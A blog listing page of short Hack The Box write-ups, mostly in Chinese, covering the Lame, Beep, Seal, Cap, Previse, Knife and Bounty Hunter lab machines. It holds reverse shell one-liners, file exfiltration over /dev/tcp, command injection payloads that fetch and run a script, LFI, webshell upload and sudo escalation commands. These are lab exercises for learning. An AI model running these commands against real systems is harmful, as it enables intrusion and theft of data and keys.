Lame (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/Lame IP : 10.129.197.50 Info gathering Port Scanning21,22,139,445,3632- Anonymous FTP SMB 3632 Port distccd File Protocol Try anonymous login FTP It’s emptyTry anonymous login SMB- There are tmp and opt folder Access tmp folder Download all file Exploit Distccd Distccd_rce_CVE-2004-2687https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855 Run Reverse shell- Get User Flag- Privilege escalation Run LinPEASNFS Exploit?- Eterm SGID Binary?- nmap SUID !!Nmap GTFOBins- Shell (2) Interactive shellhttps://gtfobins.github.io/gtfobins/nmap/#suid nmap --interactive nmap> !shGet Root Flag-

2021-09-05 · 1 分鐘 · steven

Beep (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/Beep IP : 10.129.1.226 Recon 80 port is a login pageElastix Find Payload LFI Elastix 2.2.0 - ‘graph.php’ Local File Inclusionhttps://www.exploit-db.com/exploits/37637Try LFI- https://10.129.1.226/vtigercrm/graph.php?current_language=../../../../../../../etc/passwd%00&module=Accounts&action With python request script, it will throw a exception, because the ssl version is toooo ol.- https://stackoverflow.com/questions/32330919/python-ssl-ssl-sslerror-ssl-unsupported-protocol-unsupported-protocol-ssl Use this command to change the min version of TLSsed -i 's/MinProtocol = TLSv1.2/MinProtocol = TLSv1.0/' /etc/ssl/openssl.cnf RCE Find RCE Codehttps://github.com/infosecjunky/FreePBX-2.10.0—Elastix-2.2.0—Remote-Code-Execution/blob/master/exploit.pyTurn nc to receive reverse shell- Privilege Escalation sudo -l check , we can sudo nmapsudo nmap --interactive

2021-09-05 · 1 分鐘 · steven

Seal (Hack The Box Writeup)

URL: https://app.hackthebox.eu/machines/Seal IP : 10.10.10.250 Recon 凡事都先從 掃 Port 開始rustscan -a 10.10.10.250 -r 1-65535找到 22 443 8080nmap -A -p22,443,8080 10.10.10.250- 443 : nginx 1.18觀察 443 的 HTTPS 憑證- 網址應該是 seal.htb 加到 /etc/hosts``10.10.10.250 seal.htb觀察首頁- 443 port8080 port- 看起來是一個 Bit Bucket掃目錄- python3 dirsearch.py -u https://seal.htb/ 發現有一些頁面 302 按進去又 404 而且首頁 nmap 明明就說是 nginx 這邊下面錯誤訊息卻跳 Tomcatapache tomcat 9.0.31 ??- nginx 1.18.0觀察 Bitbucket- 發現可以註冊帳號 meow / meow 成功登入- Hack Tomcat 可以發現原始碼與 Config 檔案都放在這邊 在 commit log 中可以找到 tomcat 帳密 tomcat 42MrHBf*z8{Z%嘗試進入 Tomcat 後台,卻發現 403- https://seal.htb/admin/dashboard 但發現 Tomcat 的 Status 可以用- https://seal.htb/manager/status/all 繼續翻 nginx 的 config- 發現他針對 nginx 有設定一個 ssl_client_verify這邊可以用 Orange 曾經介紹過的手法- 第 48 頁也就是網址透過 ..; 截斷- https://seal.htb/manager/status/..;/html 就成功進入湯姆貓後台ㄌ!!Tomcat 的後臺如果可以進入的話,代表可以上傳 jsp 的 webshell- 這邊我採用這個https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jspwget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp``jar -cvf cmd.war cmd.jsp然後在這邊上傳- 上傳時仍然要注意 Bypass Path 的問題- Post 的路徑要是 POST /manager/status/..;/html/upload 這邊我用 Burp 來處理 Web Shell 上傳成功- https://seal.htb/cmd/cmd.jsp 也可以亂輸入指令ㄌ接下來準備 Reverse shell- wget 10.10.16.5:8000/s_HTB -O /tmp/s 確定真的有載到準備 nc -vlk 7877 來接bash /tmp/s- 成功收到!! 提權 發現 user flag 沒有權限發現 /var/www/keys 裡面有一些 key- 不管,先打包回家慢慢看 tar cvf /tmp/keys.tar . 用 nc 把檔案送回家 發現自簽憑證在裡面!- /var/www/keys/selfsigned-ca.crt;那理論上我們可以用我們的瀏覽器綁自簽憑證ㄇ- 依照這邊的方法https://www.jscape.com/blog/firefox-client-certificateQAQ 看起來是不行嘗試 Linpeas- 找到一個很新的備份檔案- /opt/backups/archives/backup-2021-08-14-09:44:35.gz 觀察備份檔路徑,發現會備份- /var/lib/tomcat9/webapps/ROOT/admin/dashboard 是使用 ansiple-playbook 進行備份的可以用 ps 觀察到 他是用 luis 的權限執行的這邊可以先注意一下 copy link = yes- 等一下會運用到觀察 ansible-playbook- /usr/bin/ansible-playbook 到 /usr/bin``ls -al | grep ansible-playbook ls -al | grep ansible 發現他會 link 到一個Python 檔案裡面滿複雜的,應該不會要去 Exploit 他ㄅQQ- 而且相關目錄我們也都沒有權限開始通靈- 發現使用者的家目錄有一個 .ssh 猜他裡面可能有 id_rsa 可以偷 而 ansible-playbook 又可以備份 Link 所以我們可以把檔案 soft link 到備份的地方發現備份的目錄的 uploads 可寫- ln -s /home/luis/.ssh/id_rsa id_rsa等待 30 秒產出新的備份檔案- 用 nc 帶回家nc -l -p 1234 > backup.gz cat backup-2021-08-14-10:21:33.gz > /dev/tcp/10.10.16.5/1234發現真的有 id_rsa- 是 OpenSSH 的 private key 使用者提權 使用 SSH 登入ssh luis@seal.htb -i id_rsa 取得 User Flag- sudo -l 提權起手式- 發現可以使用 ansible-playbookGTFOBins 搜尋- 找到了 ansible-playbook 提權方法https://gtfobins.github.io/gtfobins/ansible-playbook/#sudoTF=$(mktemp)``echo '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >$TF``sudo ansible-playbook $TF取得 Root Flag- b4890611a188410400d56e578f30979e 心得 對於湯姆貓還是有一點陌生QQ,包含傳 jsp webshell 等部分,還有目錄截斷之類的也要多研究一下,這一題我覺得除了通靈 id_rsa 之外,整體來講題目滿好玩的!

2021-08-15 · 2 分鐘 · steven

Cap (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/351 IP : 10.10.10.245 Recon 剛開始先掃 Portrustscan -a 10.10.10.245 -r 1-65535nmap -A -p21,22,80 10.10.10.245- 觀察有開的 port- 22 21 : vsFTPd 3.0.3 80掃路徑- python3 dirsearch.py -u http://10.10.10.245/ 基本上都還是跳轉回首頁,沒什麼 QQ觀察首頁- 觀察下載的 /data 發現預設是從 2 開始- 嘗試改 1 會出現空白 嘗試改 0http://10.10.10.245/data/0 可以下載到一包 pcap 檔案分析 pcap 檔案- 可以找到 ftp 的登入帳密nathan Buck3tH4TF0RM3! 進入系統 直接 ssh 連上取得 user flag- 提權 準備 LinEnum執行 LinEnum- bash LinEnum.sh 發現 python3 有 capability- GTFOBins 尋找 Py capability 解法- https://gtfobins.github.io/gtfobins/python/#capabilities /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'取得 Root Shell 與 Flag-

2021-08-14 · 1 分鐘 · steven

Bounty Hunter (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/359 IP : 10.10.11.100 Recon 凡事都從掃 Port 開始rustscan -a 10.10.11.100 -r 1-65535 有開 22 80 port掃路徑- python3 dirsearch.py -u http://10.10.11.100/ 發現有一個 /db.php進去是空白的還有一個 /resources/- 其中 README.txt 裡面有一些小線索發現發送表單頁面有 XXE 漏洞- 直接用 js 在 F12 Console 發 async function bountySubmit() { try { var xml = ` ]> &b; 456 meow 321 ` let data = await returnSecret(btoa(xml)); $("#return").html(data) } catch(error) { console.log('Error:', error); } } bountySubmit() ...

2021-08-13 · 2 分鐘 · steven

Previse (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/373 IP : 10.129.212.165 Recon 掃 Portrustscan -a 10.129.212.165 發現有開 22 跟 80 掃目錄- python3 dirsearch.py -u http://10.129.212.165/ 基本上沒有什麼有趣的東西不過有發現有滿多的目錄都會被導到 login.php 先事後諸葛的講一下,注意他們的302檔案大小不同 隨便點開幾個沒有關 index of 的目錄 看不出什麼 準備 Exploit 其實 Recon 玩之後,我就走投無路的卡了兩個小時,途中包含嘗試了 hydra 爆破hydra -L user.txt -P /opt/rockyou.txt 10.129.212.165 http-post-form "/login.php:username=^USER^&password=^PASS^:Login Failed:login.php"後來發現了他們的 302 大小不同- 這叫做 Execute After Redirect (EAR) 感謝唉嗚提供! 可以用 Burp 把 Response 也抓包抓起來 並徒手把 301 的 Redirect 改回 200就可以直接在不登入的狀況下訪問各種目錄了- 這算 OWASP TOP 10 的 A2-Broken Authentication 我們先創一個自己的帳號然後進去亂晃其中在檔案下載的地方,有網頁的原始碼- 可以在 logs.php發現一個明顯的 Command injection 漏洞,但它貌似不會回顯![](/uploads/2022/02/51a0f-QdUn7fX.png)使用 Command injection- curl ‘http://10.129.212.165/logs.php’ -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0’ -H ‘Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8’ -H ‘Accept-Language: en-US,en;q=0.5’ –compressed -H ‘Content-Type: application/x-www-form-urlencoded’ -H ‘Origin: http://10.129.212.165’ -H ‘Connection: keep-alive’ -H ‘Referer: http://10.129.212.165/file_logs.php’ -H ‘Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd’ -H ‘Upgrade-Insecure-Requests: 1’ –data-raw ‘delim=comma;curl -o /tmp/s 10.10.14.47:8000/s_HTB ‘` 成功載下了我們的 rever sehellbash -c 'bash -i >& /dev/tcp/10.10.14.47/7877 0>&1' 也成功執行起來ㄌ curl 'http://10.129.212.165/logs.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.129.212.165' -H 'Connection: keep-alive' -H 'Referer: http://10.129.212.165/file_logs.php' -H 'Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'delim=comma;bash /tmp/s' 一次提權 發現我們不能 cat user flag觀察 sudo -l- 我們不能用 sudo 做任何事情 從 config.php 可以找到資料庫名稱跟密碼- $host = 'localhost'; $user = 'root'; $passwd = 'mySQL_p@ssw0rd!:)'; $db = 'previse'; $mycon = new mysqli($host, $user, $passwd, $db); return $mycon; 嘗試把 sql 給 dump 出來mysqldump -u root -h localhost -p previse > a.sql 再載下來wget 10.129.212.165/a.sql 可以觀察到一段帳號跟使用者密馬 hash- m4lwhere','$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.' 使用 Hash Analyzer分析 發現是 MD5-Crypt而我自己的使用者密碼也在資料庫中,發現到他們的 Salt 一樣- 直接破會發現解不開 QQ 觀察原始碼發現它的 salt 是固定的,而且用了 Unicode 的 Emoji- $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.重新修正後就可以用 john 來解ㄌ!- 另外這邊也可以用 Hash Cat 來解- hashcat -m 500 hash.txt rockyou.txt 可以觀察 Hash cat 的網站,尋找 MD5-Crypt 的代號是 500https://hashcat.net/wiki/doku.php?id=example_hashes因此我們就取的了一組帳密- m4lwhere ilovecody112235!也可以順利的 SSH 上去了- 取得 User Flag- aad354dc018b14716dee8310d8f90c03 準備二次提權 起手式 sudo -l 發現我們可以用 sudo 執行 access_backup.sh 但是我們不行對這個檔案進行寫入發現程式會呼叫 date 的相對位置- 所以我們可以用 Path 誤導程式,執行我們的腳本 在本地家目錄創一個 date 檔案,設定 x 權限並寫入 Reverse shellbash -c 'bash -i >& /dev/tcp/10.10.14.47/7878 0>&1'!執行 PATH=/home/m4lwhere:$PATH sudo /opt/scripts/access_backup.sh順利取得 Root!!- ...

2021-08-11 · 2 分鐘 · steven

Knife (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/347 IP : 10.10.69.238 Recon 掃 Portrustscan -a 10.10.69.238 -r 1-65535 有開 80 跟 443觀察 Wappalyzer- Apache 2.4.41 PHP8.1.0掃目錄- python3 dirsearch.py -u http://10.10.10.242/ 看起來沒有東西 QQ Exploit 找到 php 8.1.0 有 RCE 漏洞https://github.com/flast101/php-8.1.0-dev-backdoor-rce git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce執行起來- 就成功拿到 Shell ㄌ也可以執行另外一個 reverse shell 版本- 取得 user.txt- 提權 起手式 sudo -l 發現我們可以用 sudo knifeGTFOBins 尋找刀子的 sudo 提權- sudo knife exec -E 'exec "/bin/sh"' 就提權成功ㄌ 取得 Root Flag- 心得 這題提醒我們,還是需要優先確認各種服務的版本號。

2021-08-11 · 1 分鐘 · steven